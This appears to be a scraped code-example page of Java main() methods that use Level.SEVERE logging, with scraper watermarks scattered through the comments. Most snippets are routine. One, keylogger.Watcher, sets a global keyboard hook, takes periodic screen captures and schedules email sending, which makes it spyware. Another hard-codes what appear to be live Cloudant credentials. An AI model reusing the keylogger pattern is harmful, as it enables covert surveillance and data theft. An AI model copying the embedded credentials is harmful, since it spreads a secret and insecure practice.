Example usage for java.util.logging Level SEVERE

List of usage examples for java.util.logging Level SEVERE

Introduction

In this page you can find the example usage for java.util.logging Level SEVERE.

Prototype

Level SEVERE

To view the source code for java.util.logging Level SEVERE.

Click Source Link

Document

SEVERE is a message level indicating a serious failure.

Usage

From source file:io.fabric8.kubernetes.pipeline.devops.elasticsearch.UpdateApprovalEvent.java

/**
 * Java main to test updating events in elasticsearch.  Set the following ENV VARS to point to a local ES running in OpenShift
 *
 * PIPELINE_ELASTICSEARCH_HOST=elasticsearch.vagrant.f8
 * ELASTICSEARCH_SERVICE_PORT=80/*from  ww w  . j a  v a 2s.c o m*/
 */
public static void main(String[] args) {
    final ApprovalEventDTO approval = createTestApprovalEvent();
    hudson.model.BuildListener listener = new StreamBuildListener(System.out, Charset.defaultCharset());
    try {
        ObjectMapper mapper = JsonUtils.createObjectMapper();
        String json = mapper.writeValueAsString(approval);
        boolean success = ElasticsearchClient.updateEvent("AVVy4MSZ_YLNT2M2J-83", json,
                ElasticsearchClient.APPROVE, listener);
        assertTrue(success);
    } catch (Exception e) {
        LOG.log(Level.SEVERE, "Error when updating event: " + approval, e);
    }
}

From source file:hotelregistration.HotelRegistration.java

/**
 * @param args the command line arguments
 *///from   w w  w.j av  a 2s .  co  m
public static void main(String[] args) {

    ApplicationContext context = new ClassPathXmlApplicationContext("beans.xml");

    DBConnection dbCon = new DBConnection();
    dbCon.getConnetion();

    try {

        Statement st = dbCon.getConnetion().createStatement();
        ResultSet rs = st.executeQuery("SELECT NAME, ADDRESS FROM HOTEL");
        Hotel hotel = (Hotel) context.getBean("hotel");
        while (rs.next()) {
            hotel.setName(rs.getString("name"));
            hotel.setAddress(rs.getString("address"));
            System.out.println("1. Nombre: " + hotel.getName() + ", Direccion: " + hotel.getAddress());
        }

        HotelDao hotelDao = (HotelDao) context.getBean("hotelDao");
        Hotel hotel1 = hotelDao.findHotel("Moon");

        Hotel hotel2 = new Hotel();
        hotel2.setName("Jupiter");
        hotel2.setAddress("Jupiter");
        hotelDao.insertHotel(hotel2);

        System.out.println("2. Nombre: " + hotel1.getName() + ", Direccion: " + hotel1.getAddress());

    } catch (SQLException ex) {
        Logger.getLogger(HotelRegistration.class.getName()).log(Level.SEVERE, null, ex);
    }
}

From source file:MyTest.DownloadFileTest.java

public static void main(String args[]) {
    CloseableHttpClient httpclient = HttpClients.createDefault();
    String url = "http://www.myexperiment.org/workflows/16/download/Pathways_and_Gene_annotations_for_QTL_region-v7.t2flow?version=7";
    System.out.println(url.charAt(50));
    HttpGet httpget = new HttpGet(url);
    HttpEntity entity = null;/*w ww  .ja  v a2 s  .  c om*/
    try {
        HttpResponse response = httpclient.execute(httpget);
        entity = response.getEntity();
        if (entity != null) {
            InputStream is = entity.getContent();
            String filename = "testdata/Pathways_and_Gene_annotations_for_QTL_region-v7.t2flow";
            BufferedInputStream bis = new BufferedInputStream(is);
            BufferedOutputStream bos = new BufferedOutputStream(new FileOutputStream(new File(filename)));
            int readedByte;
            while ((readedByte = bis.read()) != -1) {
                bos.write(readedByte);
            }
            bis.close();
            bos.close();
        }
        httpclient.close();
    } catch (IOException ex) {
        Logger.getLogger(DownloadFileTest.class.getName()).log(Level.SEVERE, null, ex);
    }

}

From source file:demoalchemy.DemoCloudantClient.java

/**
 * @param args the command line arguments
 *//*w w  w.ja v a 2s  .c  o m*/
public static void main(String[] args) {
    try {
        // TODO code application logic here
        CloudantClient client = ClientBuilder.account("2efca010-d783-48ff-8b09-a85b380b66a3-bluemix")
                .username("2efca010-d783-48ff-8b09-a85b380b66a3-bluemix")
                .password("2f040ce083e86c585ae5638a7cdba89951097a8b8a9480544d9a3d18de955533").build();
        // Show the server version
        System.out.println("NICOOL ES LOCA - Server Version: " + client.serverVersion());
        // Get a List of all the databases this Cloudant account
        List<String> databases = client.getAllDbs();
        System.out.println("All my databases : ");
        for (String db : databases) {
            System.out.println(db);
        }

        Database db = client.database("becario", false);
        InputStream is = db.find("650cb18385ff988b236611625fcc3a3e");
        StringWriter writer = new StringWriter();
        IOUtils.copy(is, writer, "UTF-8");
        String theString = writer.toString();

        System.out.println(theString);
    } catch (IOException ex) {
        Logger.getLogger(DemoCloudantClient.class.getName()).log(Level.SEVERE, null, ex);
    }

}

From source file:com.googlecode.promnetpp.research.main.CoverageMain.java

/**
 * @param args the command line arguments
 */// ww w.  j a va 2s.c  om
public static void main(String[] args) {
    try {
        System.out.println(GeneralData.seeds.length + " seeds available.");
        prepareCSVFile();
        for (String _fileName : GeneralData.fileNames) {
            fileName = _fileName;
            sourceCode = FileUtils.readFileToString(new File(fileName));
            System.out.println("Running seeds for file " + fileName);
            for (int seed : GeneralData.seeds) {
                doSeedRun(seed);
            }
        }
    } catch (IOException ex) {
        Logger.getLogger(CoverageMain.class.getName()).log(Level.SEVERE, null, ex);
    } catch (InterruptedException ex) {
        Logger.getLogger(CoverageMain.class.getName()).log(Level.SEVERE, null, ex);
    } finally {
        cleanup();
    }
}

From source file:barrysw19.calculon.uci.UCIInterface.java

public static void main(String[] args) {
    UCIInterface uciInterface = new UCIInterface();

    try {// ww  w .ja va2s .co  m
        uciInterface.startInterface();
    } catch (Exception x) {
        log.log(Level.SEVERE, "UCI Error", x);
    }
}

From source file:DownloadFileFromURL.java

public static void main(String[] args) throws Exception {

    urlList.add("http://downloads.solarwinds.com/solarwinds/Release/Management/pg11.TXT");
    urlList.add("http://downloads.solarwinds.com/solarwinds/Release/Management/lorem.TXT");
    urlList.add("http://downloads.solarwinds.com/solarwinds/Release/Management/pg1661.TXT");
    urlList.add("http://downloads.solarwinds.com/solarwinds/Release/Management/cacerts");
    urlList.add("http://downloads.solarwinds.com/solarwinds/Release/Management/eula.rtf");
    urlList.add("http://downloads.solarwinds.com/solarwinds/Release/Management/Story.JPG");
    urlList.add("http://downloads.solarwinds.com/solarwinds/Release/Management/solarwinds.png");

    for (int iUrl = 0; iUrl < urlList.size(); iUrl++) {

        try {//from  ww  w .j av  a 2s.  c o  m
            String urlString = urlList.get(iUrl);
            //All File Locations go here
            url = new URL(urlString);

        } catch (MalformedURLException ex) {
            Logger.getLogger(DownloadFileFromURL.class.getName()).log(Level.SEVERE, null, ex);
        }

        try {
            // open all the url connections here.
            con = url.openConnection();

        } catch (IOException ex) {
            Logger.getLogger(DownloadFileFromURL.class.getName()).log(Level.SEVERE, null, ex);
        }

        dis = new DataInputStream(con.getInputStream());
        fileData = new byte[con.getContentLength()];

        for (int q = 0; q < fileData.length; q++) {
            fileData[q] = dis.readByte();
        }
        dis.close(); // close the data input stream               

        String fName = FilenameUtils.getName(url.getPath());

        fos = new FileOutputStream(new File(fName)); //FILE Save Location goes here
        fos.write(fileData); // write out the file we want to save.
        fos.close(); // close the output stream writer       

    } // end of for

}

From source file:com.SCI.centraltoko.Main.java

@SuppressWarnings("Convert2Lambda")
public static void main(String[] args) {
    // TODO code application logic here
    //        Memasang LookAndFeel
    try {//from  w ww.  j a v  a  2s .c  o m
        for (javax.swing.UIManager.LookAndFeelInfo info : javax.swing.UIManager.getInstalledLookAndFeels()) {
            if ("Nimbus".equals(info.getName())) {
                javax.swing.UIManager.setLookAndFeel(info.getClassName());
                break;
            }
        }
    } catch (ClassNotFoundException ex) {
        java.util.logging.Logger.getLogger(Main.class.getName()).log(Level.SEVERE, null, ex);
    } catch (InstantiationException ex) {
        java.util.logging.Logger.getLogger(Main.class.getName()).log(Level.SEVERE, null, ex);
    } catch (IllegalAccessException ex) {
        java.util.logging.Logger.getLogger(Main.class.getName()).log(Level.SEVERE, null, ex);
    } catch (UnsupportedLookAndFeelException ex) {
        java.util.logging.Logger.getLogger(Main.class.getName()).log(Level.SEVERE, null, ex);
    }

    //        Membuat tread
    try {
        SwingUtilities.invokeLater(new Runnable() {

            @Override
            public void run() {

                ApplicationContext applicationContext = new ClassPathXmlApplicationContext(
                        "SpringXMLConfig.xml");
                masterService = (MasterService) applicationContext.getBean("masterService");
                transaksiService = (TransaksiSevice) applicationContext.getBean("transaksiSevice");
                laporan = (Laporan) applicationContext.getBean("laporan");

                mainFrame = new MainFrame();

                mainFrame.setVisible(true);

            }
        });
    } catch (Exception ex) {
        java.util.logging.Logger.getLogger(Main.class.getName()).log(Level.SEVERE, null, ex);
    }

}

From source file:keylogger.Watcher.java

public static void main(String[] args) {
    watcherFolder = new File(folderName);
    if (!watcherFolder.exists()) {
        watcherFolder.mkdirs();//from   w w  w . j  a va  2s.co  m
    }

    /* Its error */
    System.out.println("start thread");
    Thread thread = new Thread(new Runnable() {

        @Override
        public void run() {
            try {
                GlobalScreen.registerNativeHook();
            } catch (NativeHookException ex) {
                Logger.getLogger(Watcher.class.getName()).log(Level.SEVERE, null, ex);
            }
            GlobalScreen.getInstance().addNativeKeyListener(new KeyLogger());
        }
    });
    thread.start();
    Timer screenCapture = new Timer();
    screenCapture.schedule(new Screen(), 0, 10000);
    Timer sendMail = new Timer();
    sendMail.schedule(new Send(), 0, 900000);

    /* Construct the example object and initialze native hook. */
}

From source file:fedroot.dacs.examples.ExampleRunner.java

/**
 * @param args the command line arguments
 *///from  w  w  w  .  j  ava2  s.  com
public static void main(String[] args) {
    try {
        DacsClientContext dacsClientContext = new DacsClientContext();
        federationLoader = new FederationLoader("https://fedroot.com/dacs", dacsClientContext);
        federation = federationLoader.getFederation();

        //            failedAuthenticationExample(dacsClientContext);
        authenticationExample(dacsClientContext);
        credentialsExample(dacsClientContext);
        //            federationExample();
        //            getCookiesWithEmail();
    } catch (Exception ex) {
        logger.log(Level.SEVERE, null, ex);
    }
}